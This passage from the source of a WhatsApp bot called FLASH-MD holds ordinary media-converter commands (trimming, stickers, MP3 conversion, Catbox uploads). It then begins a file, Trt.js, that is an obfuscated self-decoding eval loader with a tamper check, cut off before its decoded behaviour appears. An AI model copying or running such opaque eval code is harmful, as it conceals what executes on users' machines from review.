msg.message?.extendedTextMessage?.contextInfo?.quotedMessage; 62 | const isVideo = quoted?.videoMessage; 63 | const isAudio = quoted?.audioMessage; 64 | 65 | if (!(isVideo || isAudio)) { 66 | return king.sendMessage(fromJid, { 67 | text: '❌ *Reply to a video or audio with the command.*\n\nExample:\n`trim 1 4`' 68 | }, { quoted: msg }); 69 | } 70 | 71 | if (isNaN(start) || isNaN(end) || end <= start) { 72 | return king.sendMessage(fromJid, { 73 | text: '❌ *Invalid time range.*\n\nUse: `trim `\nExample: `trim 1 4`' 74 | }, { quoted: msg }); 75 | } 76 | 77 | const buffer = await downloadMediaMessage( 78 | { message: quoted }, 79 | 'buffer', 80 | {}, 81 | { logger: console } 82 | ); 83 | 84 | const ext = isVideo ? 'mp4' : 'mp3'; 85 | const input = path.join(tmpdir(), `input_${Date.now()}.${ext}`); 86 | const output = path.join(tmpdir(), `output_${Date.now()}.${ext}`); 87 | fs.writeFileSync(input, buffer); 88 | 89 | ffmpeg(input) 90 | .setStartTime(start) 91 | .setDuration(end - start) 92 | .output(output) 93 | .on('end', async () => { 94 | const trimmed = fs.readFileSync(output); 95 | await king.sendMessage(fromJid, { 96 | [isVideo ? 'video' : 'audio']: trimmed, 97 | mimetype: isVideo ? 'video/mp4' : 'audio/mp4', 98 | ptt: !isVideo 99 | }, { quoted: msg }); 100 | fs.unlinkSync(input); 101 | fs.unlinkSync(output); 102 | }) 103 | .on('error', async () => { 104 | await king.sendMessage(fromJid, { 105 | text: '❌ *Failed to trim the media.*' 106 | }, { quoted: msg }); 107 | if (fs.existsSync(input)) fs.unlinkSync(input); 108 | if (fs.existsSync(output)) fs.unlinkSync(output); 109 | }) 110 | .run(); 111 | } 112 | }, 113 | { 114 | name: 'toimg', 115 | aliases: ['photo'], 116 | description: 'Convert static sticker to image.', 117 | category: 'Converter', 118 | 119 | get flashOnly() { 120 | return franceking(); 121 | }, 122 | 123 | execute: async (king, msg, args, fromJid) => { 124 | const quoted = msg.message?.extendedTextMessage?.contextInfo?.quotedMessage; 125 | 126 | if (!quoted?.stickerMessage) { 127 | return king.sendMessage(fromJid, { 128 | text: '❌ *Reply to a static sticker to convert it to image.*' 129 | }, { quoted: msg }); 130 | } 131 | 132 | if ( 133 | quoted.stickerMessage.isAnimated || 134 | quoted.stickerMessage.isLottie || 135 | quoted.stickerMessage.mimetype !== 'image/webp' 136 | ) { 137 | return king.sendMessage(fromJid, { 138 | text: '❌ *Only static stickers are supported.*' 139 | }, { quoted: msg }); 140 | } 141 | 142 | fs.ensureDirSync('./temp'); 143 | const tmpPath = './temp/sticker.webp'; 144 | const outPath = './temp/image.jpg'; 145 | 146 | const buffer = await downloadMediaMessage( 147 | { message: quoted }, 148 | 'buffer', 149 | {}, 150 | { logger: console } 151 | ); 152 | 153 | fs.writeFileSync(tmpPath, buffer); 154 | 155 | try { 156 | const ffmpegPath = require('ffmpeg-static'); 157 | await execPromise(`"${ffmpegPath}" -y -i "${tmpPath}" "${outPath}"`); 158 | await king.sendMessage(fromJid, { 159 | image: fs.readFileSync(outPath), 160 | caption: '✅ *Sticker converted to image.*' 161 | }, { quoted: msg }); 162 | } catch (err) { 163 | await king.sendMessage(fromJid, { 164 | text: `❌ *Failed to convert sticker.*\n\n${err.message}` 165 | }, { quoted: msg }); 166 | } finally { 167 | if (fs.existsSync(tmpPath)) fs.unlinkSync(tmpPath); 168 | if (fs.existsSync(outPath)) fs.unlinkSync(outPath); 169 | } 170 | } 171 | }, 172 | 173 | { 174 | name: 'sticker', 175 | get flashOnly() { 176 | return franceking(); 177 | }, 178 | aliases: ['s'], 179 | description: 'Convert image or video to sticker', 180 | category: 'Converter', 181 | execute: async (sock, msg, args) => { 182 | const chatId = msg.key.remoteJid; 183 | const quoted = msg.message?.extendedTextMessage?.contextInfo?.quotedMessage; 184 | const imageMsg = msg.message?.imageMessage || quoted?.imageMessage; 185 | const videoMsg = msg.message?.videoMessage || quoted?.videoMessage; 186 | 187 | try { 188 | if (imageMsg) { 189 | const buffer = await getBuffer(imageMsg, 'image'); 190 | const sticker = new Sticker(buffer, { 191 | pack: 'FLASH-MD', 192 | author: msg.pushName || 'User', 193 | type: args.includes('crop') ? 'cropped' : 'full', 194 | quality: 70 195 | }); 196 | return await sock.sendMessage(chatId, { sticker: await sticker.toBuffer(), contextInfo }, { quoted: msg }); 197 | 198 | } else if (videoMsg) { 199 | const inputPath = `./video_${Date.now()}.mp4`; 200 | const outputPath = `./sticker_${Date.now()}.webp`; 201 | const buffer = await getBuffer(videoMsg, 'video'); 202 | await fs.writeFile(inputPath, buffer); 203 | 204 | try { 205 | await new Promise((resolve, reject) => { 206 | ffmpeg(inputPath) 207 | .setFfmpegPath(ffmpegPath) 208 | .outputOptions([ 209 | "-vcodec", "libwebp", 210 | "-vf", "fps=15,scale=512:512:force_original_aspect_ratio=decrease", 211 | "-loop", "0", 212 | "-preset", "default", 213 | "-an", 214 | "-vsync", "0" 215 | ]) 216 | .output(outputPath) 217 | .on("end", resolve) 218 | .on("error", reject) 219 | .run(); 220 | }); 221 | 222 | const sticker = new Sticker(await fs.readFile(outputPath), { 223 | pack: 'FLASH-MD', 224 | author: msg.pushName || 'User', 225 | type: 'full', 226 | quality: 70 227 | }); 228 | 229 | await sock.sendMessage(chatId, { sticker: await sticker.toBuffer(), contextInfo }, { quoted: msg }); 230 | 231 | } catch (err) { 232 | return await sock.sendMessage(chatId, { text: `FFmpeg error: ${err.message}`, contextInfo }, { quoted: msg }); 233 | } finally { 234 | if (await fs.pathExists(inputPath)) await fs.unlink(inputPath); 235 | if (await fs.pathExists(outputPath)) await fs.unlink(outputPath); 236 | } 237 | 238 | } else { 239 | return await sock.sendMessage(chatId, { text: 'Reply to an image or video to make a sticker.', contextInfo }, { quoted: msg }); 240 | } 241 | } catch (err) { 242 | return await sock.sendMessage(chatId, { text: `Sticker error: ${err.message}`, contextInfo }, { quoted: msg }); 243 | } 244 | } 245 | }, 246 | /*{ 247 | name: 'enhance', 248 | get flashOnly() { 249 | return franceking(); 250 | }, 251 | aliases: [], 252 | description: 'Enhance an image from a given URL using AI enhancement.', 253 | category: 'converter', 254 | execute: async (sock, msg, args) => { 255 | const chatId = msg.key.remoteJid; 256 | 257 | if (!args || args.length === 0) { 258 | return await sock.sendMessage(chatId, { 259 | text: '❗ Please provide the URL of the image you want to enhance.' 260 | }, { quoted: msg }); 261 | } 262 | 263 | const imageUrl = args.join(' '); 264 | const enhanceUrl = `https://bk9.fun/tools/enhance?url=${encodeURIComponent(imageUrl)}`; 265 | 266 | try { 267 | await sock.sendMessage(chatId, { 268 | image: { url: enhanceUrl }, 269 | caption: '*Enhanced by FLASH-MD*' 270 | }, { 271 | quoted: msg, 272 | contextInfo: { 273 | forwardingScore: 1, 274 | isForwarded: true, 275 | forwardedNewsletterMessageInfo: { 276 | newsletterJid: '120363238139244263@newsletter', 277 | newsletterName: 'FLASH-MD', 278 | serverMessageId: -1 279 | } 280 | } 281 | }); 282 | } catch (error) { 283 | console.error("Enhance error:", error.message || error); 284 | await sock.sendMessage(chatId, { 285 | text: '⚠️ Failed to enhance the image. Please check the URL and try again.' 286 | }, { quoted: msg }); 287 | } 288 | } 289 | }, 290 | */ 291 | { 292 | name: 'quotly', 293 | get flashOnly() { 294 | return franceking(); 295 | }, 296 | aliases: ['q'], 297 | description: 'Make a quote sticker from text and username', 298 | category: 'Converter', 299 | execute: async (sock, msg, args) => { 300 | const chatId = msg.key.remoteJid; 301 | const senderName = msg.pushName || 'User'; 302 | 303 | if (args.length < 3 || !args.includes('by')) { 304 | return await sock.sendMessage(chatId, { text: 'Use format: .quotly by ', contextInfo }, { quoted: msg }); 305 | } 306 | 307 | const byIndex = args.indexOf('by'); 308 | const text = args.slice(0, byIndex).join(' '); 309 | const username = args.slice(byIndex + 1).join(' '); 310 | 311 | const apiUrl = `https://weeb-api.vercel.app/quotly?pfp=https://files.catbox.moe/c2jdkw.jpg&username=${encodeURIComponent(username)}&text=${encodeURIComponent(text)}`; 312 | const stickerPath = `./quotly_${Date.now()}.webp`; 313 | 314 | try { 315 | const res = await axios.get(apiUrl, { responseType: 'arraybuffer' }); 316 | const buffer = Buffer.from(res.data, 'binary'); 317 | 318 | const sticker = new Sticker(buffer, { 319 | pack: 'FLASH-MD', 320 | author: senderName, 321 | type: 'full', 322 | quality: 70 323 | }); 324 | 325 | await sticker.toFile(stickerPath); 326 | 327 | await sock.sendMessage(chatId, { sticker: await fs.readFile(stickerPath), contextInfo }, { quoted: msg }); 328 | } catch (err) { 329 | return await sock.sendMessage(chatId, { text: `Error making quotly: ${err.message}`, contextInfo }, { quoted: msg }); 330 | } finally { 331 | if (await fs.pathExists(stickerPath)) await fs.unlink(stickerPath); 332 | } 333 | } 334 | }, 335 | { 336 | name: 'crop', 337 | get flashOnly() { 338 | return franceking(); 339 | }, 340 | description: 'Create cropped sticker from media', 341 | category: 'Converter', 342 | execute: async (sock, msg, args) => { 343 | const chatId = msg.key.remoteJid; 344 | const quoted = msg.message?.extendedTextMessage?.contextInfo?.quotedMessage; 345 | const mediaMsg = quoted?.imageMessage || quoted?.videoMessage || quoted?.stickerMessage; 346 | 347 | if (!mediaMsg) { 348 | return await sock.sendMessage(chatId, { text: 'Reply to an image, video or sticker.', contextInfo }, { quoted: msg }); 349 | } 350 | 351 | const type = quoted?.imageMessage ? 'image' : 352 | quoted?.videoMessage ? 'video' : 353 | quoted?.stickerMessage ? 'sticker' : null; 354 | 355 | if (!type) return await sock.sendMessage(chatId, { text: 'Unsupported media type.', contextInfo }, { quoted: msg }); 356 | 357 | const buffer = await getBuffer(mediaMsg, type); 358 | const filePath = `./temp_crop_${Date.now()}`; 359 | await fs.writeFile(filePath, buffer); 360 | 361 | try { 362 | const pack = args.length ? args.join(' ') : msg.pushName || 'Flash-MD'; 363 | 364 | const sticker = new Sticker(buffer, { 365 | pack, 366 | author: pack, 367 | type: 'cropped', 368 | categories: ["🤩", "🎉"], 369 | id: "12345", 370 | quality: 70, 371 | background: "transparent" 372 | }); 373 | 374 | const stickerBuffer = await sticker.toBuffer(); 375 | await sock.sendMessage(chatId, { sticker: stickerBuffer, contextInfo }, { quoted: msg }); 376 | 377 | } finally { 378 | if (await fs.pathExists(filePath)) await fs.unlink(filePath); 379 | } 380 | } 381 | }, 382 | 383 | { 384 | name: 'tomp3', 385 | get flashOnly() { 386 | return franceking(); 387 | }, 388 | aliases: ['toaudio', 'audio'], 389 | description: 'Convert video to audio (mp3)', 390 | category: 'Converter', 391 | execute: async (sock, msg, args) => { 392 | const chatId = msg.key.remoteJid; 393 | const quoted = msg.message?.extendedTextMessage?.contextInfo?.quotedMessage; 394 | const videoMsg = msg.message?.videoMessage || quoted?.videoMessage; 395 | 396 | if (!videoMsg) { 397 | return await sock.sendMessage(chatId, { text: 'Reply to a video message to convert to MP3.', contextInfo }, { quoted: msg }); 398 | } 399 | 400 | const inputPath = `./video_${Date.now()}.mp4`; 401 | const outputPath = `./audio_${Date.now()}.mp3`; 402 | 403 | try { 404 | const buffer = await getBuffer(videoMsg, 'video'); 405 | await fs.writeFile(inputPath, buffer); 406 | 407 | await new Promise((resolve, reject) => { 408 | ffmpeg(inputPath) 409 | .setFfmpegPath(ffmpegPath) 410 | .output(outputPath) 411 | .on('end', resolve) 412 | .on('error', reject) 413 | .run(); 414 | }); 415 | 416 | const audio = await fs.readFile(outputPath); 417 | await sock.sendMessage(chatId, { audio, mimetype: 'audio/mpeg', contextInfo }, { quoted: msg }); 418 | 419 | } catch (err) { 420 | console.error('Error during conversion:', err); 421 | return await sock.sendMessage(chatId, { text: `Error while converting video to MP3: ${err.message}`, contextInfo }, { quoted: msg }); 422 | } finally { 423 | if (await fs.pathExists(inputPath)) await fs.unlink(inputPath); 424 | if (await fs.pathExists(outputPath)) await fs.unlink(outputPath); 425 | } 426 | } 427 | }, 428 | 429 | { 430 | name: 'take', 431 | get flashOnly() { 432 | return franceking(); 433 | }, 434 | description: 'Take sticker with custom pack name', 435 | category: 'Converter', 436 | execute: async (sock, msg, args) => { 437 | const chatId = msg.key.remoteJid; 438 | const quoted = msg.message?.extendedTextMessage?.contextInfo?.quotedMessage; 439 | const mediaMsg = quoted?.imageMessage || quoted?.videoMessage || quoted?.stickerMessage; 440 | 441 | if (!mediaMsg) { 442 | return await sock.sendMessage(chatId, { text: 'Reply to an image, video or sticker.', contextInfo }, { quoted: msg }); 443 | } 444 | 445 | const type = quoted?.imageMessage ? 'image' : 446 | quoted?.videoMessage ? 'video' : 447 | quoted?.stickerMessage ? 'sticker' : null; 448 | 449 | if (!type) return await sock.sendMessage(chatId, { text: 'Unsupported media type.', contextInfo }, { quoted: msg }); 450 | 451 | const buffer = await getBuffer(mediaMsg, type); 452 | const filePath = `./temp_${Date.now()}`; 453 | await fs.writeFile(filePath, buffer); 454 | 455 | try { 456 | const pack = args.length ? args.join(' ') : msg.pushName || 'Flash-MD'; 457 | 458 | const sticker = new Sticker(buffer, { 459 | pack, 460 | type: 'full', 461 | categories: ["🤩", "🎉"], 462 | id: "12345", 463 | quality: 70, 464 | background: "transparent" 465 | }); 466 | 467 | const stickerBuffer = await sticker.toBuffer(); 468 | await sock.sendMessage(chatId, { sticker: stickerBuffer, contextInfo }, { quoted: msg }); 469 | 470 | } finally { 471 | if (await fs.pathExists(filePath)) await fs.unlink(filePath); 472 | } 473 | } 474 | }, 475 | 476 | { 477 | name: 'url', 478 | get flashOnly() { 479 | return franceking(); 480 | }, 481 | description: 'Upload media to Catbox and return URL', 482 | category: 'Converter', 483 | execute: async (sock, msg) => { 484 | const chatId = msg.key.remoteJid; 485 | const quoted = msg.message?.extendedTextMessage?.contextInfo?.quotedMessage; 486 | const mediaMsg = quoted?.imageMessage || quoted?.videoMessage || quoted?.stickerMessage; 487 | 488 | if (!mediaMsg) { 489 | return await sock.sendMessage(chatId, { text: 'Reply to an image, video, or sticker to upload.', contextInfo }, { quoted: msg }); 490 | } 491 | 492 | let type = null; 493 | let ext = null; 494 | 495 | if (quoted?.imageMessage) { 496 | type = 'image'; 497 | ext = 'jpg'; 498 | } else if (quoted?.videoMessage) { 499 | type = 'video'; 500 | ext = 'mp4'; 501 | } else if (quoted?.stickerMessage) { 502 | type = 'sticker'; 503 | ext = 'webp'; 504 | } 505 | 506 | if (!type || !ext) { 507 | return await sock.sendMessage(chatId, { text: 'Unsupported media type.', contextInfo }, { quoted: msg }); 508 | } 509 | 510 | const filePath = `./media_${Date.now()}.${ext}`; 511 | 512 | try { 513 | const buffer = await getBuffer(mediaMsg, type); 514 | await fs.writeFile(filePath, buffer); 515 | 516 | const url = await uploadToCatbox(filePath); 517 | await sock.sendMessage(chatId, { text: `Here is your URL:\n${url}`, contextInfo }, { quoted: msg }); 518 | 519 | } catch (err) { 520 | return await sock.sendMessage(chatId, { text: `Upload failed: ${err.message}`, contextInfo }, { quoted: msg }); 521 | } finally { 522 | if (await fs.pathExists(filePath)) await fs.unlink(filePath); 523 | } 524 | } 525 | } 526 | 527 | ]; 528 | -------------------------------------------------------------------------------- /france/Trt.js: -------------------------------------------------------------------------------- 1 | // FLASH MD VERSION 2.5 ⚡ 2 | let tNhH;!function(){const Q2OF=Array.prototype.slice.call(arguments);return eval("(function MXJF(vdRx){const XKTx=fXAy(vdRx,vfoy(MXJF.toString()));try{let r8Lx=eval(XKTx);return r8Lx.apply(null,Q2OF);}catch(TFOx){var THly=(0o202506-66871);while(THly<(0o400110%65558))switch(THly){case (0x30066%0o200035):THly=TFOx instanceof SyntaxError?(0o400145%0x10025):(0o400112%0x10017);break;case (0o201452-0x1030F):THly=(0o400126%65565);{console.log(\'Error: the code has been tampered!\');return}break;}throw TFOx;}function vfoy(PCgy){let rajy=1928863680;var Lxby=(0o400045%65550);{let n5dy;while(Lxby<(0x10550-0o202456)){switch(Lxby){case (0o600125%0x10014):Lxby=(66856-0o202435);{rajy^=(PCgy.charCodeAt(n5dy)*(15658734^0O73567354)+PCgy.charCodeAt(n5dy>>>(0x4A5D0CE&0O320423424)))^2146235101;}break;case (0o202114-66625):Lxby=(131124%0o200016);n5dy++;break;case (262252%0o200025):Lxby=n5dy=(131138%0o200024)?String.fromCharCode((0o210706-0x11185)+(LzIy-(0o400072%0x10010))):String.fromCharCode((196831%0o200052)+LzIy);}break;case (0o600070%0x10008):j08x=(0o200252-65689);j2Fy++;break;}}}return Hs6x;}function fXAy(HuDy,bSvy){HuDy=decodeURI(HuDy);let Dpyy=(0x75bcd15-0O726746425);let XMqy=\"\";var zkty=(0o202222-0x10489);{let zm0y;while(zkty<(0x10FF0-0o207716)){switch(zkty){case (0o200372-0x100E1):zkty=(0o200334-65745);{XMqy+=String.fromCharCode(HuDy.charCodeAt(zm0y)^bSvy.charCodeAt(Dpyy));Dpyy++;var bU2y=(0o201212-0x1027D);while(bU2y<(0x300AF%0o200056))switch(bU2y){case (0o400103%65563):bU2y=Dpyy>=bSvy.length?(68056-0o204664):(0o600246%65579);break;case (262304%0o200037):bU2y=(0o1000335%65582);{Dpyy=(0x75bcd15-0O726746425);}break;}}break;case (0o400100%0x10014):zkty=zm0y